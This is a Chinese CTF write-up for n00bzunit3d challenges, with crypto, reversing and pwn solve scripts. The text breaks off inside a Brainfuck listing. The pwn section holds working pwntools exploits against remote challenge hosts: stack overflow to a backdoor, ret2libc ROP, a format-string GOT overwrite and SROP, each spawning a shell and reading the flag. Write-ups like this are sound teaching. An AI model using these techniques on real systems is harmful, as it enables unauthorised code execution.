Crypto
AES
给了java的加密原码,AES加密,有key
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.spec.KeySpec;
import java.util.Base64;
public class AESChallenge {
private static final String AES_ALGORITHM = "AES";
private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA256";
private static final int ITERATIONS = 10000;
private static final int KEY_SIZE = 256;
private static SecretKey generateKey(String password, byte[] salt) throws Exception {
KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
SecretKey tmp = factory.generateSecret(spec);
return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
}
private static String encrypt(String plainText, SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encryptedBytes = cipher.doFinal(plainText.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(encryptedBytes);
}
public static void main(String[] args) {
String flag = "REDACTED";
String password = "aesiseasy";
byte[] salt = "saltval".getBytes(StandardCharsets.UTF_8);
try {
SecretKey key = generateKey(password, salt);
String encryptedFlag = encrypt(flag, key);
System.out.println("Encrypted Flag: " + encryptedFlag);
} catch (Exception e) {
e.printStackTrace();
}
}
}
虽然不怎么熟java,但拿原来的程序稍改一下作个解密还是可以的。然后一运行就OK了,
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.spec.KeySpec;
import java.util.Base64;
public class dec {
private static final String AES_ALGORITHM = "AES";
private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA256";
private static final int ITERATIONS = 10000;
private static final int KEY_SIZE = 256;
private static SecretKey generateKey(String password, byte[] salt) throws Exception {
KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
SecretKey tmp = factory.generateSecret(spec);
return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
}
private static String encrypt(String plainText, SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encryptedBytes = cipher.doFinal(plainText.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(encryptedBytes);
}
private static String decrypt(String plainText, SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] decodedb64 = Base64.getDecoder().decode(plainText);
byte[] encryptedBytes = cipher.doFinal(decodedb64);
return new String(encryptedBytes, "utf-8");
}
public static void main(String[] args) {
String encflag = "FOqxc90aMQZydCQb2MUm5tj4kRIxxVeCDWzAANfOrr8JItHYneUHhSV0awvQIo/8E1LtfYm/+VVWz0PDK6MXp38BWHoFDorhdS44DzYj9CQ=";
String password = "aesiseasy";
byte[] salt = "saltval".getBytes(StandardCharsets.UTF_8);
try {
SecretKey key = generateKey(password, salt);
String encryptedFlag = decrypt(encflag, key);
System.out.println("Encrypted Flag: " + encryptedFlag);
} catch (Exception e) {
e.printStackTrace();
}
}
}
#Encrypted Flag: n00bz{1_d0n't_l1k3_a3s_ch4ll3ng3_d0_y0u_lik3?_41703148ed8347adbe238ffbdbaf5e16}
MaaS
一个有远端的猜flag游戏,每个字符可以猜3次,返回数字左移16位后模flag字符的结果,这些数字选择不好就会有取模后相同的,经过几次猜测得到 1,2,9对于26个字符结果都不同。
#!/usr/bin/python3
import random
from Crypto.Util.number import *
flag = open('flag.txt').read()
alpha = 'abcdefghijklmnopqrstuvwxyz'.upper()
to_guess = ''
for i in range(16):
to_guess += random.choice(alpha)
print(to_guess)
for i in range(len(to_guess)):
for j in range(3):
inp = int(input(f'Guessing letter {i}, Enter Guess: '))
guess = inp << 16
print(guess % ord(to_guess[i]))
last_guess = input('Enter Guess: ')
if last_guess == to_guess:
print(flag)
else:
print('Incorrect! Bye!')
exit()
然后去算一下就行了
from pwn import *
def guess(a,b,c):
for i in range(65, 91):
if (1<<16)%i == a and (2<<16)%i == b and (9<<16)%i == c:
print(i)
break
return chr(i)
p = remote('challs.n00bzunit3d.xyz', 51081)
#p = process(['python','chall.py'])
context.log_level = 'debug'
s = ''
for i in range(16):
p.sendlineafter(b"Guess:", b'1')
a = int(p.recvline())
p.sendlineafter(b"Guess:", b'2')
b = int(p.recvline())
p.sendlineafter(b"Guess:", b'9')
c = int(p.recvline())
s += guess(a,b,c)
p.sendlineafter(b'Enter Guess: ', s.encode())
print(p.recvline())
#n00bz{M0dul0_f7w_1a4d3f5c!}
RSA
这是个RSA题连接远程后会返回e,n,c,由于e=17是固定的,只要取17次然后用CRT再开17次方即可。
from pwn import *
from gmpy2 import iroot
from sage.all import *
from Crypto.Util.number import long_to_bytes
c = []
n = []
for i in range(17):
p = remote('challs.n00bzunit3d.xyz', 2069)
e = eval(p.recvline()[4:])
c.append(eval(p.recvline()[5:]))
n.append(eval(p.recvline()[4:]))
p.close()
v = crt(c,n)
m = iroot(v,17)
print(m)
print(long_to_bytes(m[0]))
#(mpz(2970669027690104794419861589361110636027186700218438676106599190503805), True)
#b'n00bz{5m4ll_3_1s_n3v3r_g00d!}'
PWN
pwn1
前边几个都不难,赛方连名字都懒得起了,直接123。
溢出到后门
from pwn import *
p = remote('challs.n00bzunit3d.xyz', 35932)
context.log_level = 'debug'
p.sendlineafter(b'\n', b'\x00'*0x48+ p64(0x401253))
p.sendline(b'cat fla*')
p.interactive()
#n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}
pwn2
第2个没有直接的后门但是有system和bin/sh
from pwn import *
p = remote('challs.n00bzunit3d.xyz', 61223)
context(arch='amd64',log_level = 'debug')
elf = ELF('./pwn2')
pop_rdi = 0x401196
system = elf.plt['system']
bin_sh = 0x404090
p.sendlineafter(b'\n', b'/bin/sh\x00')
p.sendlineafter(b'\n', b'\x00'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, system))
p.sendline(b'cat fla*')
p.interactive()
#n00bz{3xpl01t_w1th0u7_w1n_5uc355ful!}
pwn3
这个把system也没有了,溢出来是那样
from pwn import *
p = remote('challs.n00bzunit3d.xyz', 42450)
context(arch='amd64',log_level = 'debug')
elf = ELF('./pwn3')
pop_rdi = 0x401232
main = 0x4011db
p.sendlineafter(b'\n', b'\x00'*0x28+ flat(pop_rdi, elf.got['puts'], elf.sym['puts'], main))
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x80ed0
system = libc_base + 0x50d60
bin_sh = libc_base + 0x1d8698
print(f"{libc_base = :x}")
p.sendlineafter(b'\n', b'\x00'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, system, main))
p.sendline(b'cat fla*')
p.interactive()
#n00bz{1f_y0u_h4ve_n0th1ng_y0u_h4ve_l1bc}
strings
从名字上看是格式化字符串漏洞的题。这种题也就那么几种,根据读入数据位置来分,数据在栈内就可以随便改,不在栈内就措指针链,如果没有栈深的rbp链就找argv链。
然后就是改got表或者写rop
最多也就是数据不在栈内再改ret。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+68h] [rbp-8h]
v6 = __readfsqword(0x28u);
init();
puts("Do you love strings? ");
fgets(s, 100, stdin);
printf(s);
main2();
return v6 - __readfsqword(0x28u);
}
unsigned __int64 main2()
{
FILE *stream; // [rsp+8h] [rbp-38h]
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
stream = fopen("flag.txt", "r");
fgets(s, 40, stream);
printf("n00bz{f4k3_fl4g}");
return v3 - __readfsqword(0x28u);
}
程序执行完printf就去执行main2然后就退出了(main2没有溢出也没有printf),
所以第1步是造个循环。这里由于got表可写,可以把main2里的函数改为main形成循环,main2里可用的函数由于fgets,printf在main里都用,所以只能改fopen(感觉不读flag有点可惜了)
第二步由于有个无限循环可以慢慢写,由于读入只有100字节,需要手工处理一下。fmtstr_payload自动生成的会比较长。
这里把printf改成system,然后输入/bin/sh让他执行。
from pwn import *
#p = process('./strings')
p = remote('challs.n00bzunit3d.xyz', 7150)
context(arch='amd64', log_level='debug')
elf = ELF('./strings')
#gdb.attach(p, 'b*0x401315\nc')
#fopen->main
target = elf.got['fopen']
pay = fmtstr_payload(6,{target: elf.sym['main']})
p.sendlineafter(b'Do you love strings? \n', pay)
pay = b'%7$s....'+p64(elf.got['printf'])
p.sendlineafter(b'Do you love strings? \n', pay)
libc_base = u64(p.recv(6)+ b'\x00'*2) - 0x60770
print(f"{libc_base = :x}")
system = libc_base + 0x50d60
#pay = fmtstr_payload(6,{elf.got['printf']: system})
#print(pay)
v1 = system&0xff
v2 = (system>>8)&0xff
v3 = (system>>16)&0xff
w2 = (v2-v1)&0xff
w3 = (v3-v2)&0xff
pay = f"%{v1}c%12$hhn%{w2}c%13$hhn%{w3}c%14$hhn".ljust(0x30,'A')
pay = pay.encode() + flat(elf.got['printf'], elf.got['printf']+1, elf.got['printf']+2)
p.sendlineafter(b'Do you love strings? \n', pay)
p.sendlineafter(b'Do you love strings? \n', b'/bin/sh\x00')
p.interactive()
ASM
代码就这么一点,一时卡住了,不知怎么处理,没能rdi
.text:0000000000401000 B8 01 00 00 00 mov eax, 1
.text:0000000000401005 BF 01 00 00 00 mov edi, 1 ; fd
.text:000000000040100A 48 BE 00 20 40 00 00 00 00 00 mov rsi, offset msg ; buf
.text:0000000000401014 BA 0F 00 00 00 mov edx, 0Fh ; count
.text:0000000000401019 0F 05 syscall ; LINUX - sys_write
.text:000000000040101B 48 83 EC 20 sub rsp, 20h
.text:000000000040101F B8 00 00 00 00 mov eax, 0
.text:0000000000401024 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000401029 48 89 E6 mov rsi, rsp ; buf
.text:000000000040102C BA 00 02 00 00 mov edx, 200h ; count
.text:0000000000401031 0F 05 syscall ; LINUX - sys_read
.text:0000000000401033 48 83 C4 20 add rsp, 20h
.text:0000000000401037 C3 retn
.text:0000000000401037
.text:0000000000401037 vuln endp
.text:0000000000401037
.text:0000000000401038
.text:0000000000401038 ; =============== S U B R O U T I N E =======================================
.text:0000000000401038
.text:0000000000401038
.text:0000000000401038 ; signed __int64 start()
.text:0000000000401038 public _start
.text:0000000000401038 _start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401038 E8 C3 FF FF FF call vuln
.text:0000000000401038
.text:000000000040103D B8 3C 00 00 00 mov eax, 3Ch ; '<'
.text:0000000000401042 BF 00 00 00 00 mov edi, 0 ; error_code
.text:0000000000401047 0F 05 syscall ; LINUX - sys_exit
.text:0000000000401049 C3 retn
最后还是从名字上得到入口,文件名叫srop_me显然是用srop,也就是通过中断15恢复现场,在sigreturn里设置对应寄存器得到shell
rax通过read的返回长度得到,然后调用syscall;ret+frame
from pwn import *
#p = process('./srop_me')
p = remote('challs.n00bzunit3d.xyz', 38894)
context(arch='amd64', log_level='debug')
#gdb.attach(p, 'b*0x401031\nc')
sh_address = 0x40200f
syscall_ret = 0x401047
sys_read = 0x401000
frame=SigreturnFrame() #pwntools集成的srop工具
frame.rax = constants.SYS_execve
frame.rdi = sh_address
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
pay = b'A'*0x20+ flat(sys_read, syscall_ret) + flat(frame)
p.sendafter(b'Hello, world!!\n', pay)
p.sendafter(b'Hello, world!!\n', b'X'*15)
p.interactive()
#n00bz{SR0P_1$_s0_fun_r1ght??!}
REV
wellcome
略,flag在ida里可见
mypin
也没什么线索,vengx替我解决了遗憾,反编译后的原码分两块,这是个按钮,点点点,它去调用secret里的process
public class Mypin {
private JFrame frame = new JFrame("Guess the pin");
private JLabel output = new JLabel();
Mypin() {
this.output.setBounds(20, 250, 360, 20);
JLabel jLabel = new JLabel("Your data:");
jLabel.setBounds(20, 235, 100, 20);
this.frame.add(jLabel);
this.frame.add(this.output);
this.frame.add(new PinButton(this, "0", 43, 10, 150, 150));
this.frame.add(new PinButton(this, "1", 198, 10, 150, 150));
this.frame.add(new ResetButton(this, 43, 165, 305, 50));
this.frame.setSize(400, 350);
this.frame.setLayout((LayoutManager) null);
this.frame.setVisible(true);
this.frame.setDefaultCloseOperation(3);
}
public static void main(String[] strArr) {
new Mypin();
}
public void clearOutput() {
this.output.setText("");
}
public void updateOutput() {
this.output.setText(Secret.getInstance().getData());
}
}
package defpackage;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
/* compiled from: Mypin.java */
/* renamed from: PinButton reason: default package */
/* loaded from: My-pin.jar:PinButton.class */
class PinButton extends JButton implements ActionListener {
Mypin app;
/* JADX INFO: Access modifiers changed from: package-private */
public PinButton(Mypin mypin, String str, int i, int i2, int i3, int i4) {
super(str);
this.app = mypin;
addActionListener(this);
setBounds(i, i2, i3, i4);
}
public void actionPerformed(ActionEvent actionEvent) {
Secret.getInstance().process(getText().charAt(0));
this.app.updateOutput();
}
}
Secret加密比较复杂,复杂到看不明白他在干啥
public class Secret {
private static Secret instance = new Secret();
private int cnt = 1;
private int[] mydata = {0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0};
private int[] box = new int[this.mydata.length / 9];
private Secret() {
}
public static Secret getInstance() {
return instance;
}
public void resetInstance() {
instance = new Secret();
}
public void process(char c) {
if (this.cnt > 9) {
return;
}
int length = this.mydata.length / 9;
for (int i = 1; i <= length; i++) {
int i2 = (9 * i) - this.cnt;
int i3 = this.box[i - 1] + this.mydata[i2] + (c - '0');
this.mydata[i2] = i3 % 2;
if (i3 >= 2) {
this.box[i - 1] = 1;
} else {
this.box[i - 1] = 0;
}
}
this.cnt++;
}
private String misteri(int i) {
String str = "";
int i2 = 0;
int i3 = 1;
while (i > 0) {
i2 |= (i & 1) << ((i3 % 8) - 1);
i >>= 1;
if (i3 % 8 == 0) {
if (32 <= i2 && i2 < 128) {
str = ((char) i2) + str;
}
i2 = 0;
}
i3++;
}
return ((char) i2) + str;
}
public String getData() {
int length = this.mydata.length / 9;
String str = "";
int i = 5;
int i2 = 0;
for (int i3 = 1; i3 <= length; i3++) {
int i4 = 0;
int i5 = 1;
for (int i6 = 1; i6 <= 8; i6++) {
i4 += this.mydata[(9 * i3) - i6] * i5;
i5 <<= 1;
}
i--;
i2 = (int) (i2 + ((i4 - 33) * Math.pow(85.0d, i)));
if (i == 0) {
str = str + misteri(i2);
i2 = 0;
i = 5;
}
}
while (i > 0) {
i--;
i2 = (int) (i2 + (84.0d * Math.pow(85.0d, i)));
}
return str + misteri(i2);
}
}
第9个一组每组从后向前与输入的key(9位)与box相加,本位存回mydata进位存入box,实际上就是个加法,key用[0,256]爆破.Secret类保持不变,建Pin类爆破
public class Pin {
public static void main(String[] args) {
for (int i = 0; i < 512; i++) {
String pin = String.format("%9s", Integer.toBinaryString(i)).replace(' ', '0');
Secret secret = Secret.getInstance();
secret.resetInstance();
for (char c : pin.toCharArray()) {
secret.process(c);
}
String data = secret.getData();
//System.out.println(data);
if(data.contains("n00bz")) {
System.out.println("PIN: " + pin + ", Flag: " + data);
}
}
}
}
C:\.....\java.exe Pin
PIN: 010110100, Flag: n00bz{y0uuu_n33d_t0_bRutefoRc3_1s_e4zyY_}
PIN: 010110101, Flag: n00bz{y0uuu_n33d_t0_bRutefoRc3_1s_e4zyY_}
ezrev
用jadx打不开的class文件,网上搜文件结构,发现主版本号的位置太大,3f改为34打开
import java.util.Arrays;
public class EZrev {
public static void main(String[] paramArrayOfString) {
if (paramArrayOfString.length != 1) {
System.out.println("L");
return;
}
String str = paramArrayOfString[0];
if (str.length() != 31) {
System.out.println("L");
return;
}
int[] arrayOfInt1 = str.chars().toArray();
byte b;
for (b = 0; b < arrayOfInt1.length; b++) {
if (b % 2 == 0) {
arrayOfInt1[b] = (char)(arrayOfInt1[b] ^ 0x13);
} else {
arrayOfInt1[b] = (char)(arrayOfInt1[b] ^ 0x37);
}
}
for (b = 0; b < arrayOfInt1.length / 2; b++) {
if (b % 2 == 0) {
int i = arrayOfInt1[b] - 10;
arrayOfInt1[b] = (char)(arrayOfInt1[arrayOfInt1.length - 1 - b] + 20);
arrayOfInt1[arrayOfInt1.length - 1 - b] = (char)i;
} else {
arrayOfInt1[b] = (char)(arrayOfInt1[b] + 30);
}
}
int[] arrayOfInt2 = {
130, 37, 70, 115, 64, 106, 143, 34, 54, 134,
96, 98, 125, 98, 138, 104, 25, 3, 66, 78,
24, 69, 91, 80, 87, 67, 95, 8, 25, 22,
115 };
if (Arrays.equals(arrayOfInt1, arrayOfInt2)) {
System.out.println("W");
} else {
System.out.println("L");
}
}
}
很简单的先分组异或再分组移位
a = [130, 37, 70, 115, 64, 106, 143, 34, 54, 134, 96, 98, 125, 98, 138, 104, 25, 3, 66, 78, 24, 69, 91, 80, 87, 67, 95, 8, 25, 22, 115]
for i in range(len(a)//2):
if i%2 == 0:
a[i],a[len(a)-1-i] = a[len(a)-1-i]+10, a[i]-20
else:
a[i] -= 30
a = [v^0x13 if i%2==0 else v^0x37 for i,v in enumerate(a)]
bytes(a)
#n00bz{r3v_1s_s0_e4zy_r1ght??!!}
zzz
这个也没啥说的,就是很麻烦z3一把梭
int __fastcall check(char *a1)
{
if ( *a1 >> 4 != 6 )
bye();
if ( a1[1] != a1[2] )
bye();
if ( ((unsigned __int8)a1[3] | (unsigned __int8)a1[6]) != 122
|| ((unsigned __int8)a1[3] & (unsigned __int8)a1[6]) != 66 )
{
bye();
}
if ( a1[4] != a1[28] )
bye();
if ( a1[5] * a1[29] != 15375 )
bye();
if ( a1[7] + a1[6] + a1[8] != 302 || a1[6] * a1[7] - a1[8] != 10890 )
bye();
if ( a1[9] - a1[8] != 5 || a1[10] - a1[9] != 27 || ((unsigned __int8)a1[11] ^ (unsigned __int8)a1[10]) != 32 )
bye();
if ( a1[12] != a1[15] || a1[12] + a1[11] != 180 || a1[13] + a1[12] != 185 )
bye();
if ( a1[14] + a1[13] - a1[16] != a1[13] )
bye();
if ( a1[16] + a1[17] != 217 || a1[17] != a1[13] )
bye();
if ( a1[16] + a1[14] != 2 * a1[14] )
bye();
if ( a1[18] != 90 || a1[18] != a1[19] || ((unsigned __int8)(a1[20] ^ a1[19]) ^ (unsigned __int8)a1[21]) != 127 )
bye();
if ( ((unsigned __int8)a1[22] ^ (unsigned __int8)(a1[21] ^ a1[20])) != a1[21] )
bye();
if ( a1[21] != 95 || a1[24] + a1[6] != 180 )
bye();
if ( ~a1[23] + a1[24] != -33 )
bye();
if ( a1[25] != a1[9] )
bye();
if ( a1[26] + a1[27] != 212 )
bye();
if ( a1[27] != a1[28] )
bye();
return puts("You got it!");
}
把代码复制过来,然后作个搜索替换,然后再作些小修。最后加上头和尾
from z3 import *
a1 = [BitVec(f'a_{i}',8) for i in range(30)]
s = Solver()
for i in range(30):
s.add(a1[i]>0x20)
s.add(a1[i]<0x7f)
for i,v in enumerate(b'n00bz{'):
s.add(a1[i] == v)
s.add(a1[29] == ord('}'))
s.add( a1[0] >> 4 == 6 )
s.add( a1[1] == a1[2] )
s.add( (a1[3] | a1[6]) == 122 )
s.add( a1[3] & a1[6] == 66 )
s.add( a1[4] == a1[28] )
s.add( a1[5] * a1[29] == 15375 )
s.add( a1[7] + a1[6] + a1[8] == 302 )
s.add( a1[6] * a1[7] - a1[8] == 10890 )
s.add( a1[9] - a1[8] == 5 )
s.add( a1[10] - a1[9] == 27 )
s.add( a1[11] ^ a1[10] == 32 )
s.add( a1[12] == a1[15] )
s.add( a1[12] + a1[11] == 180 )
s.add( a1[13] + a1[12] == 185 )
s.add( a1[14] + a1[13] - a1[16] == a1[13] )
s.add( a1[16] + a1[17] == 217 )
s.add(a1[17] == a1[13] )
s.add( a1[16] + a1[14] == 2 * a1[14] )
s.add( a1[18] == 90 )
s.add(a1[18] == a1[19] )
s.add((a1[20] ^ a1[19] ^ a1[21]) == 127 )
s.add( (a1[22] ^ (a1[21] ^ a1[20])) == a1[21] )
s.add( a1[21] == 95 )
s.add( a1[24] + a1[6] == 180 )
s.add( ~a1[23] + a1[24] == -33 )
s.add( a1[25] == a1[9] )
s.add( a1[26] + a1[27] == 212 )
s.add( a1[27] == a1[28] )
s.check()
d = s.model()
flag = bytes([d[a1[i]].as_long() for i in range(30)])
print(flag)
#n00bz{ZzZ_zZZ_zZz_ZZz_zzZ_Zzz}
VM
代码很简单的虚拟机,然后写了对应的解码程序
__int64 execute()
{
int v0; // ecx
int v1; // eax
int v2; // edx
int v3; // eax
__int64 result; // rax
signed int i; // [rsp+8h] [rbp-8h]
int v6; // [rsp+8h] [rbp-8h]
int v7; // [rsp+8h] [rbp-8h]
int v8; // [rsp+8h] [rbp-8h]
int v9; // [rsp+8h] [rbp-8h]
int v10; // [rsp+8h] [rbp-8h]
int v11; // [rsp+8h] [rbp-8h]
int v12; // [rsp+8h] [rbp-8h]
int v13; // [rsp+8h] [rbp-8h]
int v14; // [rsp+8h] [rbp-8h]
int v15; // [rsp+Ch] [rbp-4h]
int v16; // [rsp+Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( (unsigned int)i > 0x1FF )
break;
if ( (unsigned int)program[i] > 0xE )
{
puts("ERROR: Unknown instruction!");
exit(-1);
}
switch ( program[i] )
{
case 0:
puts("NOP");
break;
case 1:
v0 = program[++i];
v1 = dword_46C0++;
stack[v1] = r[v0];
break;
case 2:
r[program[++i]] = stack[--dword_46C0];
break;
case 3:
v7 = i + 1;
v16 = program[v7];
i = v7 + 1;
r[v16] = r[program[i]];
break;
case 4:
v6 = i + 1;
v15 = program[v6];
i = v6 + 1;
r[v15] = program[i];
break;
case 5:
v8 = i + 1;
r[program[v8]] += r[program[v8 + 1]];
i = v8 + 1;
break;
case 6:
v9 = i + 1;
r[program[v9]] -= r[program[v9 + 1]];
i = v9 + 1;
break;
case 7:
v10 = i + 1;
r[program[v10]] *= r[program[v10 + 1]];
i = v10 + 1;
break;
case 8:
v11 = i + 1;
r[program[v11]] /= r[program[v11 + 1]];
i = v11 + 1;
break;
case 9:
v12 = i + 1;
r[program[v12]] ^= r[program[v12 + 1]];
i = v12 + 1;
break;
case 10:
v13 = i + 1;
r[program[v13]] &= r[program[v13 + 1]];
i = v13 + 1;
break;
case 11:
v14 = i + 1;
r[program[v14]] |= r[program[v14 + 1]];
i = v14 + 1;
break;
case 12:
printf("%ld\n", r[program[++i]]);
break;
case 13:
v2 = getchar();
v3 = dword_46C0++;
stack[v3] = v2;
break;
case 14:
exit(0);
}
}
return result;
}
然后把解码程序删掉。这题有点坑呀,用010打开能看到
bf
确实难住了,这里边最难的一个题(只有之一)
给的是一段brainf*ck的代码,直接运行无结果只能慢慢啃。
>->>>>>,[----------[++++++++++>>>>>,>]<]>---<+[-<+]->>>>>[<+++++++++++++++++++++
+++++++++++[>>[-]+>[-]<<-<->[>-]>[-<<[-]>>>]<<<]>+++++++++++++++++++++++++++++++
++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++<[>->+<[>]>[<+>-]<<[<]>-]>[-]>[-<<+>>]>>>]+[-<+]-
>>>>>-------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------
-----------------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++
]]>>>>>---------------------------------------------------------------[[-]--+[-<
+]-<[-]+>++[-->++]]>>>>>-------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---
----------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------
--------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>--------
--[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>--------------------------------------------
-------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------
-----------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>
++[-->++]]>>>>>-----------------------------------------------------------------
----[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------------------------
---------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------
----------------------------------------------------------[[-]--+[-<+]-<[-]+>++[
-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------
----------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>
-------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------
-------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------
------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------
-----------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>
>---------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------
-------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---
--------------------------------------------------------------------------------
---------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------------[[-]--+
[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------------------------
-----------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------
-----------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------
-----[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------------
-----------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------
-------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-
->++]]>>>>>-[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------------------------
-[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------------
------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------[[-]--+[-<+]-<[-]+>++[
-->++]]>>>>>---------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------
---[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------------------------
--------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------[[-
]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>
>------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---
------------------------------------------------------------[[-]--+[-<+]-<[-]+>+
+[-->++]]>>>>>------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<
